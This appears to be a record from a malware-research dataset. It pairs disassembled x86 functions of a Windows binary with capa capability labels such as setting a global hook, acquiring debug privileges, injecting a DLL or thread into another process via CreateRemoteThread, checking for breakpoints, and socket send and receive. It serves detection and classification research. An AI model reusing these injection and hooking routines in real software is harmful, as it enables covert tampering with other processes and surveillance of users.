joyce8/EMBER2024-capa huggingface dataset:
Function at 0x462560
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46270b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4626ec
mov dl, 1
mov eax, dword [0x418a68]
call fcn.00403770
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004045b0
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4626db
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004503d4
test al, al
je 0x4626ce
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x46271c
lea eax, [ebp - 0x254]
call fcn.00409ddc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4626ce
xor eax, eax
push ebp
push 0x4626c7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x462754
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4626b0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404820
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4626b0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4626ce
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4625d1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041c7e4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x462712
lea eax, [ebp - 0x260]
call fcn.004045b0
ret

Function at 0x463054
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x499bc4]
cmp byte [eax + 0xa5], 0
jne 0x4630c5
cmp dword [0x499bdc], 0
jne 0x463086
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x463010
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x499bdc], eax
cmp dword [0x499bd8], 0
jne 0x4630a1
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x499bd8], eax
cmp dword [0x499be0], 0
jne 0x4630c5
push esp
push 0
push 0
push 0x462fb4
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x499be0], eax
pop edx
ret
Function at 0x463758
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x499bc4]
cmp dword [eax + 0x30], 0
je 0x463802
cmp dword [ebx + 0x94], 0
jne 0x4637fc
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4636e8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4637fc
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4637c2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4637fc
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041aa34
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4637d1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x464360
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x464395
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004046a0
jmp 0x4643a2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404604
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x46556c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4655ad
mov eax, esi
call fcn.0044b9bc
test al, al
je 0x4655ad
mov eax, dword [ebx + 0x84]
call fcn.0044b6b8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4655ad
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044b6b8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x466290
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x417bc4]
call fcn.00405018
xor eax, eax
push ebp
push 0x4663d4
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4950ec], 0
jne 0x4662e3
mov ecx, dword [0x4986b8]
mov dl, 1
mov eax, dword [0x407cfc]
call fcn.0040cd0c
call fcn.00403f40
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00403188
mov eax, ebx
call fcn.00404dec
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x4663e4
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.004061c8
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404dfc
test eax, eax
jle 0x46637b
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x466374
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404838
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404820
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408be0
test eax, eax
jne 0x466374
mov ebx, 0x15
jmp 0x466380
mov ebx, 0x10
jmp 0x466380
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x4950ec]
call fcn.004661e8
mov eax, dword [ebp - 8]
call fcn.004661e8
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004061e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4663db
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004045d4
lea eax, [ebp - 0x10]
mov edx, dword [0x417bc4]
call fcn.004050e8
ret

Function at 0x46f564
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x46f592
mov eax, ebx
call fcn.00470018
cmp dword [ebx + 0x40], 0
je 0x46f58b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x46f603
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x46f5f5
cmp dword [ebx + 8], 0
je 0x46f5b4
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x46f5c6
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x46f5f5
cmp dword [ebx + 8], 0
je 0x46f5a7
cmp eax, 3
je 0x46f5d9
dec eax
jne 0x46f5a7
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x46f5a7
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x46f5a7
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x46f621
cmp dword [ebx + 0x14], 0xcc
je 0x46f621
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0046f62c
pop ebx
ret
Function at 0x4837b8
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe4
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x48383a
mov dword [esp + 0xc], 1
lea eax, [esp + 0x10]
push eax
push 0x483844
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp byte [esp], 0
je 0x483800
mov dword [esp + 0x18], 2
jmp 0x483806
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError
test eax, eax
sete bl
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, ebx
add esp, 0x1c
pop ebx
ret

Function at 0x4838ac
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe8
mov ebp, ecx
mov esi, edx
mov dword [esp], eax
xor edi, edi
mov al, 1
call fcn.004837b8
mov eax, esi
call fcn.00404870
add eax, eax
inc eax
call fcn.00402ac0
mov ebx, eax
mov eax, esi
call fcn.00404870
mov ecx, eax
add ecx, ecx
inc ecx
mov edx, ebx
mov eax, esi
call fcn.00405484
test ebp, ebp
jbe 0x4838f3
mov dword [esp + 4], ebp
jmp 0x483901
lea ecx, [esp + 4]
xor edx, edx
mov eax, dword [esp]
call fcn.00483670
mov eax, dword [esp + 4]
push eax
push 0
push 0x2a
call sub.kernel32.dll_OpenProcess
mov esi, eax
push ebx
call sub.kernel32.dll_lstrlenW
inc eax
mov ebp, eax
add ebp, ebp
push 4
push 0x1000
push ebp
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push ebp
push ebx
mov eax, dword [esp + 0x14]
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x4839df
push 0x4839f0
push 0x483a00
call sub.kernel32.dll_GetModuleHandleA_3
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esp + 0xc], eax
call fcn.00483888
cmp al, 1
jne 0x4839c2
push 0x483a0c
push 0x483a20
call sub.kernel32.dll_LoadLibraryA
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [esp + 0x14], eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x1c]
push eax
mov eax, dword [esp + 0x28]
push eax
push esi
push 0
push 0x1fffff
lea eax, [esp + 0x34]
push eax
call dword [esp + 0x40]
mov edi, dword [esp + 0xc]
jmp 0x4839df
lea eax, [esp + 0xc]
push eax
push 0
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x1c]
push eax
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
mov eax, ebx
call fcn.00402af0
mov eax, edi
add esp, 0x18
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x484b60
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x484be9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x499cb4
push 0x101
call sub.wsock32.dll_WSAStartup
mov ebx, eax
test ebx, ebx
je 0x484bd3
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.0040c408
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
mov eax, 0x484c00
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x18]
push eax
push 2
mov ecx, dword [0x498a88]
mov dl, 1
mov eax, dword [0x483b8c]
call fcn.0040cd48
call fcn.00403f40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484bf0
lea eax, [ebp - 0x1c]
call fcn.004045b0
ret

Function at 0x4852b4
Capabilities:
Connect socket

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, ebx
call fcn.004851d8
mov cl, 1
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.004039a8
push 0x10
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_connect
mov edx, 0x485318
call fcn.00484aa8
mov byte [ebx + 0x29], 0
test byte [ebx + 0x28], 0x10
jne 0x48530a
cmp dword [ebx + 4], 0xffffffff
setne al
mov byte [ebx + 8], al
mov cl, 2
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.004039a8
pop esi
pop ebx
ret

Function at 0x48533c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0048505c
xor eax, eax
push ebp
push 0x4853b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004045b0
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
jne 0x485378
call fcn.00403fec
jmp 0x4853bc
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push eax
call sub.wsock32.dll_gethostname
test eax, eax
jne 0x48539f
mov eax, ebx
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00404820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4853bc
mov eax, dword [ebp - 4]
call fcn.00485068
ret
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x48546c
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, edx
mov eax, ebx
call fcn.00404a70
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.00403188
test ebx, ebx
je 0x4854b7
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 4], cl
mov cl, byte [edx + 1]
mov byte [esp + 5], cl
mov cl, byte [edx + 2]
mov byte [esp + 6], cl
mov al, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret
Function at 0x485594
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4855c5
mov ecx, dword [0x498b8c]
mov dl, 1
mov eax, dword [0x483b8c]
call fcn.0040cd0c
call fcn.00403f40
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x4855f2
mov ecx, dword [0x498924]
mov dl, 1
mov eax, dword [0x483b8c]
call fcn.0040cd0c
call fcn.00403f40
xor eax, eax
push ebp
push 0x485673
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.004039a8
cmp byte [ebp + 8], 0
je 0x48564d
mov eax, dword [ebp + 0x14]
push eax
mov ax, word [ebp + 0x10]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.004854fc
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00485234
jmp 0x485669
mov eax, dword [ebp + 0x14]
push eax
mov ax, word [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.00484d94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485690
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x48569c
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4856cd
mov ecx, dword [0x4989a0]
mov dl, 1
mov eax, dword [0x483b8c]
call fcn.0040cd0c
call fcn.00403f40
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x4856fa
mov ecx, dword [0x498924]
mov dl, 1
mov eax, dword [0x483b8c]
call fcn.0040cd0c
call fcn.00403f40
xor eax, eax
push ebp
push 0x485776
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.004039a8
cmp byte [ebp + 8], 0
je 0x485752
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.004854fc
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.004852b4
jmp 0x48576c
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.00484d94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485793
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x485958
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0048505c
xor eax, eax
push ebp
push 0x485ac9
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x485ab3
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x4859a3
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4859ad
call fcn.00403fec
jmp 0x485ad0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041c894
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
jle 0x485aa8
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x485a5b
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x485a48
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004039a8
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.00485910
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x485adc]
cmp dl, byte [eax + 0x28]
je 0x485aaf
call fcn.0040cc24
jmp 0x485aaf
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041c8b4
jmp 0x485aaf
cmp ecx, ebx
jge 0x485a77
mov eax, dword [ebp - 0xc]
add eax, ecx
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041c8b4
jmp 0x4859ad
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041c894
cmp edx, dword [esp + 4]
jne 0x485a97
cmp eax, dword [esp]
pop edx
pop eax
jne 0x4859ad
push ebp
call fcn.00485910
pop ecx
jmp 0x485aaf
push ebp
call fcn.00485910
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485ad0
mov eax, dword [ebp - 4]
call fcn.00485068
ret
mov al, byte [ebp - 5]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x485ae0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x485c02
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0048505c
xor eax, eax
push ebp
push 0x485be5
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x485b30
call fcn.00403fec
jmp 0x485bec
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x485bcf
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x485bcf
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004039a8
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x485bcf
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c408
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x485c1c
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x498a88]
mov dl, 1
mov eax, dword [0x483b8c]
call fcn.0040cd48
call fcn.00403f40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485bec
mov eax, dword [ebp - 4]
call fcn.00485068
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485c09
lea eax, [ebp - 0x28]
call fcn.004045b0
ret
Function at 0x485c68
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x485db2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0048505c
xor eax, eax
push ebp
push 0x485d95
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x485ccd
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x485ccd
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x485d7f
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x485ce0
call fcn.00403fec
jmp 0x485d9c
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x485d7f
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x485d7f
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004039a8
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x485d7f
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c408
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x485dcc
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x498a88]
mov dl, 1
mov eax, dword [0x483b8c]
call fcn.0040cd48
call fcn.00403f40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485d9c
mov eax, dword [ebp - 4]
call fcn.00485068
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485db9
lea eax, [ebp - 0x28]
call fcn.004045b0
ret